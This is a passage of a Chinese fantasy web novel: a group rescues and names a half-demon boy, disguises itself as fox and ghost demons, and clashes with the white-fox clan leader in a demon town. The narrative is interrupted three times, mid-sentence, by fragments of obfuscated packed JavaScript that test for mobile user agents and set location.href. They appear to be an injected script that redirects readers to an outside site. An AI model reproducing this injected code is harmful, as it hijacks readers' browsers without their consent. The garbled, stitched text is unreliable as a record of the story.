明青轻手轻脚的将他扶起来,接过唐思月递来的手帕帮他把哭花的脸擦了擦,摸着他的头安慰道。 “我知道,你放心,我们不会伤害你的,别哭了。” 小妖怪眼中仍然含泪,但听到她的话,还是强忍着没有让眼泪掉下来,轻轻抽着鼻子,双眼含泪但又倔强坚强的小模样成功赢得了几人的垂怜。 明青、唐思月并云修云将谴责的眼神投向了云修泽,云修泽张了张嘴,才发觉自己竟吃了个哑巴亏,他眼角抽了抽,这小妖怪是故意的吗? 这么闹了一通,他很快就因为耗费了不少精力的原因重新睡了过去,几人将他放回了马车上。 五人走远了些,见他们像是没事儿的人一般,该干什么就准备干什么去,云修泽带着点儿说不明道不清的委屈叫住了他们。 “嘿,我可没欺负他。” 明青和唐思月对视一眼,唐思月就有点好笑的说道。 “你不会真的以为,我们会因为一个刚刚认识的,并不清楚底细的小妖怪而生你的气吧。” 云修泽愣了愣,云修云也在一旁点头,一副你怎么还不明白这个的模样,小声说道。 “好吧,我还是有一点点,毕竟那个小妖怪哭起来又可爱又可怜的。” 唐思月头都没回的怼了他一下,云修云捂着被怼的地方无声的痛呼,唐思月转头拍了拍明青。 “交给你了。” 明青点头,唐思月就带着云修云和行愿离开去了别的地方。 这个场景真是该死的熟悉。 云修泽有点不敢看明青,所以开始扭着头观察旁边树上的树叶,余光中发现明青似乎是笑了下,等他想再仔细看看时,却又好像是幻觉。 “你不用担心,我们知道你肯定有你的顾虑,你要相信我们相信你。” 云修泽看着斜上方,停了一会儿才垂下了双眼,吐了一口气后,缓缓靠在了旁边的树干上。 “你说的对,这点儿自信心我该有的。” 明青:“所以你试探出什么了吗?” 云修泽皱着眉,过了有一会儿才缓缓开口。 “我不能确定,他装睡装的很好,我刚才也是诈他的,他逃命的能力也很强,我第一次见他时,他想偷我的玉佩,我抓住了他,虽然没有用上灵力,但一般的人或者妖也不能那么轻易的溜走,而且他被四族之一的白女狐族下了追踪术,凭着自己的力量,竟然还能跑到现在,至少这一点不容小觑。” 明青说:“他的求生欲很强,这点骗不了人。” 云修泽歪头看她:“你觉得他的害怕是装的吗?” 明青沉吟片刻,说道:“我不知道。” 两人又讨论了一阵儿,也得不出个具体的结果,干脆不再想那么多,准备让事情顺其自然的发展,再仔细观察观察。 不知道是不是受了惊吓的缘故,小妖怪这一次昏睡的时间比上一次更久,五人沿着河岸一直赶路,直到第三天晚上,他才又一次醒了过来。 当时五人刚刚做好了晚饭,准备开吃,马车就发出了细微的动静,接着小妖怪就小心的掀开车帘,不太好意思的揉着肚子小声问。 “姐姐,能给我点吃的吗?” 在座一共五个人,他却偏偏只喊明青,若说女孩子更加柔和,唐思月明明比明青要更加温柔亲切,云修泽也不太确定这是不是雏鸟情节,因为明青做主救了他,他就更加依赖明青。 云修泽面无表情的从正事思索到私事,认真的开始考虑要不要跟个来路不明的小孩子计较。 明青给他拿了点儿吃的,他也不凑过来,反而挪到了稍远一些的地方,尽量不发出声音的开始狼吞虎咽。 那仿佛要吃下一头牛的架势,看样子真是将他饿坏了。 这几日他虽然昏迷,可若是真的想要给他喂一点儿东西,也不是没有办法,但不知有意还是无意,几个人没有一个提到这个事情,这也是一种心照不宣的试探。 从他被他们救起到现在,作为一个孩子,他至少有五天没有吃东西了,那基本就可以确定,他的另一半混血不是需要靠频繁进食来维持生命的低等妖族。 他很快就将手上的食物吃了个一干二净,遮遮掩掩的将眼神投向了他们这边,眼神中透露着渴望,却没有向他们再多要一点。 云修云被他可怜到了,和云修泽对视一眼,见他点头,便过去将他拉了过来,往他手上又塞了点儿吃的。 “给你,快吃吧,不多吃点可长不大。” 小妖怪感激的看了他一眼,又开始快速的吞食食物。 明青问他:“你叫什么名字?” 小妖怪抬眼,云修泽看着他,没什么诚意的笑道。 “总不能永远叫你小妖怪吧。” 小妖怪踌躇了一会儿,小声说。 “我没有名字,他们都叫我小杂种。” 此话一出,几人的心情都变得有些微妙,小妖怪小心翼翼的观察他们的神情,试探着问。 “......我能接着吃吗?” 见明青点头,他才重新低头开始吃东西。 五人互相看了看,谁都没有说话。 饭后云修云和唐思月帮忙收拾干净,云修泽和行愿就去一旁搭帐篷。 明青走到河边坐下,招招手,将在一旁因为不知自己该干些什么而显得有些手足无措的小妖怪叫了过来。 “你记得你的父母吗?” 小妖怪摇摇头。 “我不记得了,从我有记忆开始,我就在白界了。” 明青:“那些坏人为什么要抓你?” 小妖怪的眼神变得有些迷茫。 “我不知道,我没有偷他们的东西。” “那你知道自己的妖族血统是什么吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983966|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 小妖怪声音显得有些低落。 “我不知道,我只是个妖力低微的半妖,没有办法完全化出本体。” “那你为什么要偷东西?” 小妖怪退后了两步,眼神闪躲,有些不安。 “我...我......我也不想的,我是个半妖,想活下去没有别的办法,我也只有逃跑还算是擅长,姐姐,可不可以不要生我的气?” 见明青点头,他才一点一点蹭回来,抱着膝盖蹲到了明青身边。 看他这个样子,明青难得起了点儿好奇心。 “你从小到大的生活里都是苦难,为什么还那么想要活着?” 小妖怪眨眨眼,过了一会儿才反应过来她在问什么,冲她露出了一个灿烂的笑容,指着前方说道。 “姐姐你看,是不是很漂亮?白界有很多地方也很漂亮,可我从没出过白界,这是第一次,我想看看世上是不是有更加漂亮的地方。” 明青顺着他指的方向看去。 今晚的月亮很是明亮,洒在河边的树上映出了它们斑驳的影子,流动的河水波光粼粼,上下飞舞的萤火虫让这里看上去有些梦幻,风吹草动,虫鸣水声。 他说的对,这里的确很美。 可其实,这种简单的美只要你运气够好,碰巧赶上了晴朗的夜晚和正确的时节就能轻松看到。 明青不知道世上竟会有人因为如此简单而美好的理由,不断的艰难挣扎也要活下去。 她不知道他说的是不是真话,但她的感觉并不是假的。 “你想要名字吗?” 明青问他,语气就像是那句’想活吗?‘一样,而小妖怪的回答也是一样的。 “......想。” 他低着头抬眼看她:“我想要名字,姐姐,你能给我一个名字吗?” 明青看着他的眼睛,想起了第一次遇见时他的眼神。 “山遥遥,水迢迢,若秉一心远行道,唯初不可抛。你就叫秉唯吧,秉唯初心,不要忘记了。” 小妖怪的眼神亮了亮。 “秉唯..秉唯......我记住了,姐姐,我不会忘记初心的......我有名字了...我有名字了!!!” 秉唯一下子站起身来,欢快的跑去找了唐思月和云修云。 “唐姐姐,云哥哥,我有名字了!!!我叫秉唯!!!是姐姐给我起的,我有名字了!” 唐思月和云修云也为他高兴,秉唯显然是开心极了,没等他们回话,就又跑去找行愿和云修泽。 两人目送他离去,云修云偷偷看了唐思月一眼,故作无意的问道。 “思月啊...那什么......你准备怎么叫他啊?” 唐思月有些奇怪的看了他一眼。 “当然是叫秉唯啊,他不是刚刚说过他的名字吗?” 云修云的眼睛左看右看,小声说。 “可你管我哥叫云大哥。” 唐思月有些摸不着头脑,笑着说道:“可是秉唯比我小啊。” 云修云简直不知道自己要说什么,懊恼的皱了皱眉,犹豫了一会儿才说。 “可我们是一样的年纪。” 唐思月有点儿回过味儿来了,点着头想了想,试探着问道。 “你不想让我叫你全名?” 云修云破罐子破摔,耷拉着肩膀说道。 “对,我觉得我们应该已经是不错的朋友了,我叫你思月,也希望你能亲近点叫我。” 唐思月明白了,想了想叫道:“......阿云?” 云修云的脸一下就红了,转过身背对着她,手抬抬放放,最后僵硬的挠了挠头。 “嗯...就这个吧...嗯对......这样就行...那就这样了...那什么......我先走了,你好好休息。” 说完,他就一溜烟的跑远了,唐思月摇摇头笑道:“真是可爱。” “秉唯。” 行愿一本正经的喊了一句,秉唯眼睛亮亮的,看向了旁边的云修泽。 他显然还是有些怕他,但又藏不住有点期待。 云修泽看着他期盼的眼神,眨眨眼,恶劣的笑起来。 “小、妖、怪!” 秉唯的嘴角一下就耷拉下去了,眼神幽怨的和他对视了一会儿,轻哼了一声,转头跑走了。 “哼哼。” 云修泽报复成功,心情还算不错,行愿在一边给马儿梳毛,想了想,说道。 “只要你不担心他去找明青说你就好。” 云修泽一下僵住了。 28. 协济四 三鬼画的符不只能装出其他妖族的气息,还能让宿主变成要假扮的种族的样子,形态十分逼真。 云修泽三人现在眉心都悬着一簇青色的火焰,将他们的脸色映衬的僵硬又苍白,指尖浓郁的青色一直延伸到了手背。 三人你看看我,我看看你,感叹到完全就是青鬼长了一张熟悉的脸,若是在他们不相识时遇到这样的彼此,只怕第一个动作就是要拔剑出鞘了。 一阵轻微的动静传来,三人顺着声音向马车看去,只见一个仙姿玉貌的‘狐女’掀开了马车的帘子走了下来。 她有一双弯月细眉,水波潋滟的金色杏眼看了三人一眼,又缓缓垂下,明明是最无辜最无害的一双眼睛,却因为尖锐的竖瞳而增加了一丝攻击性和魅惑感,肌白胜雪,脸颊泛着淡淡的粉色,体态亦是轻盈无比,可若是说最夺目的,却还是那雪色的长发和头上一双毛茸茸的耳朵。 这个女子身上同时拥有美艳与爱怜,正是一位倾国倾城的佳人,可云修泽三人并不认识她,这是一张实在美丽却陌生的脸。 “......思...月?”云修泽试探的问道,她点了点头,正是唐思月。 “哇——哦。”云修云捂着嘴惊叹一声。 云修泽:“你怎么还易容了?” 唐思月轻轻耸了耸肩。 “听林伯伯说,我的容貌大概可以和镜双子一比,有本杂记上曾经说,镜双子当年连白女狐族长都自叹不如,还引起过一小段风波,所以为了避免不必要的麻烦,我还是稍微掩饰了一下。” 云修泽想了一下唐思月以原本的容貌来顶着如雪的长发和双耳,再加上金色的竖瞳的样子,突然就觉得她的担心不无道理,这样的确可以避免不少麻烦。 “那你为什么不戴面纱呢?易容总归不算太过舒服。”云修云问道。 唐思月:“妖族的行事作风奔放,从没有遮掩长处之说,美貌亦是如此,若是戴上面纱,恐怕会更加惹妖注目一些。” 原来是这样,云修云点点头表示自己明白了。 “明青呢?”云修泽问。 唐思月:“嗯......马上就出来了,她还有点不习惯。” 云修泽听闻,轻轻挑眉,走到马车前敲了敲,将手递到帘子前,十分有礼的问道。 “大小姐,虽然现在我只是您的一个青鬼护卫,但不知我是否有幸能够邀您下车?” 一股威压从马车内弥漫出来,接着就有一道冷傲的声音传出。 “你胆子很大。” 云修泽没有改变姿势,但他能明显的感觉到这种压制,就像是千金重顶压着他的脊背,一种无声的冲动在他的脑海中不断催促他跪下去,臣服于她。 真是神奇,他和明青两人的实力一直是旗鼓相当,这种符咒竟然连大妖对其他妖族的威慑力都能模仿,只不过弱点就在于,若是能意识到这是假的的话,还是能够克制的,并不像真的一般,让人无法反抗。 两人就这么僵持了一会儿,明青才渐渐将那种气势收了回去,一只纤白的手伸出帘子搭在了云修泽的手上。 云修泽轻轻握住她,动作间,她皓白的手腕从衣袖下露了出来,云修泽不经意看到,眼睛就再没离开,他脑中一片空白的出了神,直到她的身影从马车里缓缓的出现。 云修泽只感觉余光中有一片雪白的长发扬过,他下意识的抬头看去,极具冲击力的美就这么猝不及防的占据了他的目光,他放轻了呼吸,明白自己再不可能忘掉这一幕。 明青站在马车上与他对视,额珠已经取下来了,面容逆着光,只有金色的竖瞳微微泛着光十分显眼,原本就白皙的皮肤又白了些,变得苍白。 她的气质和唐思月截然不同,唐思月是让人十分想要疼爱呵护的柔媚,而她,而明青,则犹如凌霄之花,冷淡且傲慢,一双毛茸茸的狐耳也没有让她变得柔和一些。 云修泽相信,大多数见过她这个样子的人或者妖,都不会想要去拥有她,反而会更想臣服于她。 云修泽握紧了她的手,紧紧盯着她一步步从马车上走下来。 不过,这个大多数里不会包括他就是了。 我一定要拥有。 明青动了动手,云修泽才恍然惊醒,僵硬的将她松开。 明青有些不习惯的摸了摸狐耳。 “我这样会不会很奇怪?” 云修云本来还微红着脸,时不时看看唐思月,听到明青问话,还是第一时间给予了积极的回应。 “怎么会?!明青姐,你简直美呆了!” 明青看向行愿,行愿也在看她,眼神认真的点了点头。 “很美。” 唐思月像只身姿轻盈的蝴蝶一般靠过来,无论神情还是举动都变了许多,她挽着她的手笑道。 “你看,我说什么来着,你要对你的容貌有信心,白女狐族向来如此,好吗姐姐?” 明青点头,由着她靠过来,从小到大,有很长一段时间她都在外求师,没有十分亲近的朋友,更别提闺中密友,所以她也很喜欢和唐思月亲密无间的待在一起。 明青看向云修泽,自从她出来,他就一直没有说话,她心中还是有些在意他的想法的。 云修泽已经整理好了表情,见她看过来,就摇着头做足了风流模样和她调笑。 “哦,美人儿,你不该问我的,你明知我会为你沉沦。” 明青眨了眨眼,上挑的眼尾让她显得就像是只真的狐狸一样。 “你的心难道不是早就已经属于我了吗?” 云修泽一哽,猝不及防被她反将一军,反应了好一会儿才找回了状态,一脸深情的说。 “这是当然,从见到你的第一眼开始,我的心就已经属于你了。” 云修云双手环抱上下搓了搓胳膊,一脸恶寒,明显被云修泽的样子恶心到了,唐思月也离开了明青到他们身边去,三人都是一副没眼看的样子。 明青嘴角带了点笑意,摇摇头说道。 “你现在这副样子露出这个表情,可不太能让人心情愉悦。” 云修泽深情的表情一僵。 “咳咳,也是,不说这个了,都别闹了,快走吧。” 云修云小声笑他,被他发现了,一个眼刀就甩了过来,云修云双眼带笑,捂着嘴表示噤声。 兄弟两人翻身上马,明青和唐思月重新进到了马车里,行愿坐到车头。 马蹄哒哒在车窗两侧,云修云突然好奇地问。 “你们说,为什么妖都要化形成人类?我的意思是,他们为什么不化形成别的种族?” 云修泽:“当然是因为人族数量最庞大。” 云修云有点没听懂,困惑的皱着眉,唐思月接过话为他解释。 “你知道,妖族之间各有不同,包括语言、模样、能力和体型,如果他们之间想要交流和生活,无论是通婚、交易或者捕杀什么的,就必须有一些东西固定且相同,比如体型。” 她耐心举例道。 “人族十分庞大,在之前,人和妖都是混在一起生活的,所以人族就成了他们观察学习的对象,不过他们大多数还是会在化形后保留一些种族特征,就像白女狐的耳朵和青鬼的鬼火。” “原来是这样。”云修云恍然大悟,“思月你可比我哥靠谱多了。” “我能听得见。”云修泽在马车的另一侧悠悠说道。 云修云无声的做了个鬼脸。 云修泽:“小妖怪怎么样?” 马车中,秉唯依然在静静的沉睡,唐思月的手轻轻抚过他的额头。 “他还在睡。” 也许是体内妖族血脉的缘故,让秉唯在重伤状态下,不受控的陷入了休眠来保障身体的恢复。 云修泽随着踏风的步伐起伏,神情淡淡的看着远方。 “我们不清楚他怎么得罪了白女狐族,也不清楚他的身世底细,不可能一直带着他的,你们怎么想?” 唐思月看向明青,明青则看着秉唯安静的睡脸。 “我们早晚要对上白女狐族,最好能把他藏到大比之时,试探一下白女狐族的想法,看看能不能和平解决。” 云修泽垂下眼睛,道:“也只能如此了。” 说话间,马车就已经驶入了佘渊。 这里看上去就和普通的人族城镇没什么不同,可是空气中混杂着各种不同的妖气,如果将灵力附在双眼之上,便能看到空中各种扭曲的妖力不断彼此吞吃的情景,几人都感到了一些压抑和不适。 云修泽三人十分进入角色,阴沉着一张脸,尽职尽责的装成随行护卫,面不改色的经过那些血气冲天的摊位,摊主大多都霍霍磨着砍刀,面前摆放的除了不同妖族的尸体外,竟还有一些人族的手脚。 云修云的面色难看,但还是强撑着没有发出声音。 他们都是生面孔,马车上也没有像之前云修泽在白界看到的那辆一样印有狐狸的记号,所以自从他们出现,周围的妖明显对他们有些虎视眈眈,甚至还有一些直接上来拦路。 拦路的妖眼神中弥漫着贪婪,伸出猩红的舌头,在空中发出了嘶嘶的声音。 “哪里来的小妖,知道你爷爷是谁吗?” 行愿易容后的脸凶神恶煞的,此时眼神冰冷,喝道:“滚开,不要挡到我家小姐的路。” 路中间的妖和周围正在观望的都发出了阵阵耻笑声。 “现在真是山鸡也敢称小姐了哈哈哈哈哈哈哈!!!” 随着他的话,周围也有不少妖怪都露出了垂涎的笑意,声音高高低低的附和,只待有妖动手,他们就会蜂拥着扑上来将几人吞吃。 见他丝毫不准备让步,行愿打算来个杀鸡儆猴,可还没等他动手,马车中就传出了一股强大的威压,两道悦耳的声音前后传出。 “哪个不长眼的敢来拦路?” “滚开!” 声音随着妖力,如同撞钟一般,在周围一片窥伺他们的妖的脑海中响起,有些弱小的当场就捂着脑袋跪下开始哀嚎。拦路的妖也面色大变,没想到马车中竟真是大妖! 妖族崇尚武力,出行时都会在马车上刻有族群的纹样,遇见他们这种一点儿都不彰显自己的大妖的可能,几乎是微乎其微,他也是倒了血霉了,今天竟让他撞上了。 为了保命,他也只能一边陪笑一边小心的往后退。 “这就滚,这就滚,是小的有眼不识泰山了,还望两位姑奶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“行大哥,你比我们要年长些,可知道那些事情吗?” 行愿过了一会儿才缓缓摇了摇头。 “不,我无暇顾及。” 云修泽不知道他为什么这么说,行愿比他们大了六七岁的样子,当年的事情发生的时候,他应该也还小,发生了什么事情,竟让年幼的他无暇顾及。 唐思月在马车里说道。 “这是好事不是吗?那个动荡不安的时代已经过去了,现在你们的成长不会再有那么多危险了。” “也是。”云修泽笑道,“不过可惜的是,我们还是主动选择了一条危机四伏的道路。” 他又耸了耸肩:“不过也很值得,你觉得呢,明青?” 马车中静了片刻,才传出她的声音。 “是的,很值得。” 几人找到了一家偏僻的店,三人将明青和唐思月簇拥在中间进去。 店主是只鼠精,本来正悠闲的坐在柜台后擦着一盒颜色各异的内丹,注意到有妖来了,抬眼一看,就看见了两对儿白色的狐狸耳朵,顿时抖了个机灵,险些从高凳上摔下去。 他连忙将内丹盖上,捋捋胡须又紧张的搓了搓手,小心的笑起来。 “哎呦,贵客来了!小店粗陋,不知能为两位姑奶奶做点儿什么?” 他直接将云修泽三个扮成的青鬼忽略了,在他看来,这就是三个随行的仆从。 明青给了云修泽一个眼神儿,云修泽立马把装有内丹的盒子递了上去。 唐思月说道:“盒子中的内丹,我们想知道他们的主人是谁,来自哪里,你只办这一件事即可,若是说的周全,自然少不了你的好处。” 鼠精小心的把盒子拿了过去,话赶话的说道。 “那是自然,那是自然,为两位小姐办事是我的荣幸。” 说着他将盒子打开,里面装有几个来自不同妖族的内丹,一直被细细的保存着,气息还没有完全散去。 若是平日里,这种事情自然难不倒他,但是里面两枚明显是水族的内丹却让他的脸色变了变。 “敢问两位小姐,这批内丹......是同时收取的吗?” 几人都注意到了他脸色的变化,云修泽和明青暗中对视一眼,云修泽上前一步。 “这是自然,这群不知好歹的竟妄想对我家小姐不利,我们必然要追其根源,连根拔出。” 鼠精的胡须颤了颤,又小心地把盒子合上,给他们推了回来,犹豫道。 “这......恕小的无能,恐怕没这个本事,要不您找别家看看?” 明青按住被他推回来的盒子,不容拒绝的又往回推了一把。 “想活命,就把你知道的说出来。” 唐思月轻抚着头发,漫不经心的威胁道。 “我们白女狐想要知道的,就容不得你推辞,我们的耐心有限,你最好快点儿说。” “哦?我竟不知,族中还有两位如此貌美的姐妹吗?” 一道陌生的女声在他们身后响起,几人一惊,转身的瞬间,就看到了一条凌厉的长鞭。 破空而来! 29. 协济五 “啊啊啊啊!!!!!我的店!!!!!” 鼠精惊恐的尖叫,一点没带犹豫,直接变回本体窜没了影。 鞭子在地面和柜台留下了长长的裂痕,几人迅速调整了一下站位,警惕的看着前方,唐思月笑道。 “白女狐族子孙繁众,姐姐哪里能认得全呢?因为未曾相识就对我们姐妹二人出手,只怕是有违族训啊。” 来人一身鹅黄色长裙,妍姿艳质,手上握着一条火红色的长鞭,一双典型的狐狸眼看着他们,眼中充满了玩味,但有些圆润的脸型却让她看起来更像是邻家小妹一般无害清纯,就和明青与唐思月一样,她有着长长的白发和狐耳,但不同的是,她是只货真价实的白女狐。 听了唐思月的话,她一只手抚上了脸颊,巧笑嫣然。 “妹妹说的也是,不过既然两位姐妹是我白女狐族子弟,又为什么抓到了那个被族长下令抓捕的小妖,不带回族中,反而要来这里呢?” 几人具是脸色一变,他们出来前,将秉唯放在马车里,留了一个小型的阵法用来掩藏气息,本想着不过片刻的功夫,却不想还是被抓住了。 明青脸色一寒:“他在哪?” 那只白女狐顺着声音向她看去,却突然愣了愣,停了好一会儿才重新笑起来。 “自然是带回族中了,两位姐妹不若同我一起回去?” 云修泽迅速感知了一下周围,看着她的眼神顿时就变得慎重起来。 附近只有他们面前这一只白女狐,其他的应该都已经带着小妖怪走了,留她一个人在这里,对她的实力想必非常有信心,而且这根鞭子,明显就是之前在白界遇见的那只,没想到竟紧追至此。 这里是佘渊,就算能逃走,之后也不好善后,倒不如把她截在这里。 云修泽在背后悄悄打了个手势,示意周围无人可以动手,唐思月见到,便收回了准备继续跟她拉扯试探的话,翻手拿出了古琴。 就在她动作的同时,明青以肉眼不可见的速度出现在了她的后上方,云修泽与她配合,堵在了白女狐的退路上。 这一下就算不能将她重伤,也绝不可能让她轻易逃过,可两人近身,却只听见了一声浅笑,再一晃眼,原本好好站在那里的身影就凭空不见。 云修泽与明青背靠着背,警惕着四周的动静,只见那抹鹅黄色的身影虚虚实实,影影绰绰的出现在四面八方。 云修云试图攻击其中的一道身影,一剑下去却扑了个空,还险些撞到行愿。 云修泽看向唐思月,下一瞬,一道琴音就平扫四方,那无数无法分辨的身影,便在这道琴音下,如烟雾般消散在了空中。 “破障?妹妹,你很厉害啊。” 一个轻柔的声音在唐思月面前响起。 唐思月瞳孔一缩,那只白女狐的金色竖瞳就只与她相隔了一拳的距离,近到触手可及,没人发现她是如何突破了云修云和行愿的防护突然出现。 唐思月的眼中此时只能看到那抹金色,神情微微恍惚,指尖蓄有的灵力也有了消散之势。 白女狐红唇勾起,露出了势在必得的笑意,可下一刻,她的笑容就僵在了脸上。 琴音瑟瑟,在极近处响起。 再凝眸看去,唐思月哪里有被迷惑住的模样,眼底明明一片清明。 幻术不顶用,那就解决人,可是距离太近了,逼得她不得不转身回踢,唐思月冷静的看着她,没有丝毫闪躲的意思。 行愿突然出现,挡在唐思月面前接下了她的攻击。 白女狐烦躁的呲了呲尖牙,娘的,这人哪儿冒出来的,她根本没注意到他。 这一切都发生的很快,总共不过几个呼吸的时间。 白女狐被行愿逼退,长鞭甩出勾住了旁边的柱子,借力将自己甩出了云修泽和云修云的包围圈。 明青迅速跟上,脚尖在她的长鞭上借力,在空中逼近了她。 白女狐的凶性被激了起来,金色的眸底染上了红色,指甲变得又长又锋利,速度很快,往明青的脖颈处划去,却又在看清明青的一瞬间收了些手,只在她的手臂上留下了一道不深的血痕。 她借着惯性在空中转身,躲避明青的攻势,但还是被她在腰侧划出了一道口子。 鲜血涌出,马上就浸湿了她的衣裙,可明青却被她悬挂的一枚香囊吸引了视线。 那枚香囊已经很旧了,但也能看出来被仔细保存的痕迹,上面绣着一个小小的灵字。 明青的双眸微微睁大,眼见着那只白女狐在落地的瞬间就陷入了云修泽三人的包围,同时唐思月的琴音也紧随而来,竟不自觉有些想要出手相救。 “当我吃素的不成!” 白女狐并没有自乱阵脚,长鞭就犹如拥有自己的意识一般,在几人中间穿行,后翻躲过了褚闲攻击的同时将长鞭收紧,云修云整个人霎时间就被掀了个仰倒。 他双手撑地,顺势做了个后翻,却眼见着长鞭就要朝唐思月攻去,云修云心口咯噔一下。 那白女狐是看准的,唐思月虽然武力不高,但对她的干扰很强,想要解决他们,首先要解决的就是唐思月,但唐思月身边一直会有一到两个人守着,不会离开她太远的距离。 只有他们全都来围攻她的瞬间,才是解决唐思月的大好时机! “啪!!!” “唔!” 伴随着长鞭抽打的声音,云修云闷哼一声,抱着唐思月在地上翻滚了几圈儿,狠狠撞到了墙上。 “阿云!” “青玉!” 云修泽皱着眉有些担心的喊了他一声,拦住白女狐想要乘胜追击的攻势,快速和她过了几招。 “阿云你怎么样?!” 唐思月赶紧爬起来扶住他的肩膀,焦急要去看他背后的伤。 “咳咳,我没事儿,你怎么样?” 长鞭攻来的瞬间唐思月就明白了白女狐的企图,含有灵力的音波和长鞭对撞,只可惜实力不足,只让长鞭的气势减弱了些,偏离了原本的方向,这个伤她原准备自己受了,可没想到云修云突然冲了上来。 长鞭打在了他的左肩胛上,留下了一道血痕,却并没有太过严重,确认唐思月没事儿后,他又立马提剑重新加入了战斗。 云修泽忽然察觉到附近来了几只大妖,他无法确定是不是白女狐族中人,于是示意几人速战速决。 明青现在很纠结,她无法像刚才一样对这只白女狐下狠手,于是不再主攻,将行愿推了上去,自己就四处游走,为他们辅助。 云修泽察觉到了她的不对劲儿,打斗的间隙中,用眼神询问她出了什么事儿。 明青看到了,但是她现在心思混乱,分不出精力给他什么回应,直到白女狐在一次近身中,一脸可怜兮兮的叫了她一声姐姐。 她似乎想说更多的话,但根本没有那么多时间,马上又全神贯注的和云修泽几人缠斗起来。 她的实力的确很强,强到能和五人缠斗而略占上风。 外面几只大妖的气息已经相当近了,云修泽怀疑只要他们再转个弯儿就能看到。 正在他思索对策的时候,明青却突然扬起手示意几人停下。 云修泽皱了皱眉,几人都快速的互相对视了一眼,虽然并不理解明青的意图,但还是按照她的意思和白女狐拉开了距离,暂且停了手。 神奇的是,白女狐也在同一时间停下,没再做什么出格的举动。 “啪!啪!啪!” 一个身着黑袍,梳着高高马尾的青年,漫不经心的拍着手,出现在了他们的视线中。 他的脸上似乎浮着一层淡淡的黑雾,让人完全看不清他的模样,但再一个眨眼,你又好像能看见他少年气的脸颊和勾起的顽劣的笑容。 “今儿个这是走了什么运,竟能遇见白女狐族族长?不过这是怎么了,可需要我帮忙?” ! 族长!!! 云修泽几人具是心中一震。 白女狐并未收起长鞭,反而示威一般甩了一下,在地上砸出了一道裂口,脸上倒是一派纯然。 “这不是影玖少主吗?不劳您费心了,不过是族中姐妹有些口角罢了,见笑。” 云修泽又装回了青鬼,默默充当着背景板,心中却将现在的情况盘了一遍。 影玖,应该是四大族中雾面影族的少主,他孤身一妖进来,外面停着的想必是他的从属,他虽然管面前这只白女狐叫做族长,却并无多少恭敬之意,可见实力悬殊不会太多,他们之间更像是平辈。 这只白女狐实力虽强,却不应该年纪轻轻就成为族长,只怕是上一任族长出了什么意外才让她被迫接手。 看明青和这只白女狐的反应,她们之间应该是认识,但不知关系是否牢靠,危险性未知,但可以肯定的是,这个少主是来者不善的。 “哦?我看这两位都是生面孔啊。” 他往旁边走了几步,还没等说什么,白女狐就示威似的轻轻动了动鞭子,影玖无所谓的耸耸肩。 “啧啧,两位的花容月貌在白女狐族也该是数一数二的,若我见过,定然念念不忘,怎会叫我觉得如此面生?” 众人虽然看不见他的眼睛,但却能感受到他不善的眼神在明青和唐思月身上滚了个来回。 云修泽三人默不作声的上前几步挡住了他审视的视线,影玖也没在意,毕竟护主这件事十分正常,他又笑道。 “莫不是假冒的吧?族长你可别看走眼了,不过今天既然有缘碰到了,我可以大发善心帮你解决她们,哈哈哈哈哈!” 说着,他就捧腹大笑,模样就像是刚刚完成了一个恶作剧的少年一般,可这话却没人当作玩笑。 云修泽几人都警惕的开始蓄力,防备他出其不意的攻击。 那只白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004597|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女狐往旁边走了几步,挡在了他的面前,瞳孔缩成了一根细针,笑着威胁道。 “你不认得,我这个族长还不认得吗?影玖,我劝你不要多管闲事,让开,我们姐妹切磋的心情都被你打搅了。” 影玖低头随意扫了扫衣袖,就在几人以为他还要再纠缠纠缠的时候,他却出乎意料的让开了路,甚至还有模有样的学着人族的礼仪,伸手为他们引路。 “既然如此,那几位便请吧,今日是影玖的不是了。” 白女狐冷哼一声,头也没回示意他们跟上,几人暗中将目光投向云修泽,云修泽只思考了不过一瞬,就抬脚跟了上去。 虽然不知道之后会发生什么,但此时留在这里,显然不是明智的选择,就算他们五人各有所长,实力亦是不弱,可一旦将更多的妖牵扯进来,他们也无法轻易脱身,倒不如干脆赌上一把。 他只是先有了一个抬脚的动作,几人马上就跟着动起来,几乎分不出先后。 明青和唐思月走到白女狐的后方,三人站在一起毫不违和,各有各的风采,完全看不出其中两只是人族假扮,云修泽三人走在最后,完全就像是她们的附属妖族,丝毫不起眼。 影玖却敏锐的注意到了云修泽抬脚的细节,脸上的笑容在黑雾下逐渐扯开。 这事儿可挺有意思的。 等明青和唐思月经过他身边时,他就双手背后,歪着头抬起了一只脚,整个人斜过来对她们扬起笑脸,少年气十足。 “我记住你们了,我们下次见。” 明青对他视若无物,直接略了过去,唐思月则留给了他一个勾人的笑容。 几人走出了一段距离,还能感觉到他侵略玩味的目光,如芒在背。 “这是你们的马车没错吧。”白女狐指着他们停在路边的马车淡淡问道。 见明青点头,她就毫不见外的钻了进去。 几人将目光投向明青,明青的神情有些复杂。 “我应该认识她,都进去吧。” 马车中,几人相对而坐,略微有些拥挤。 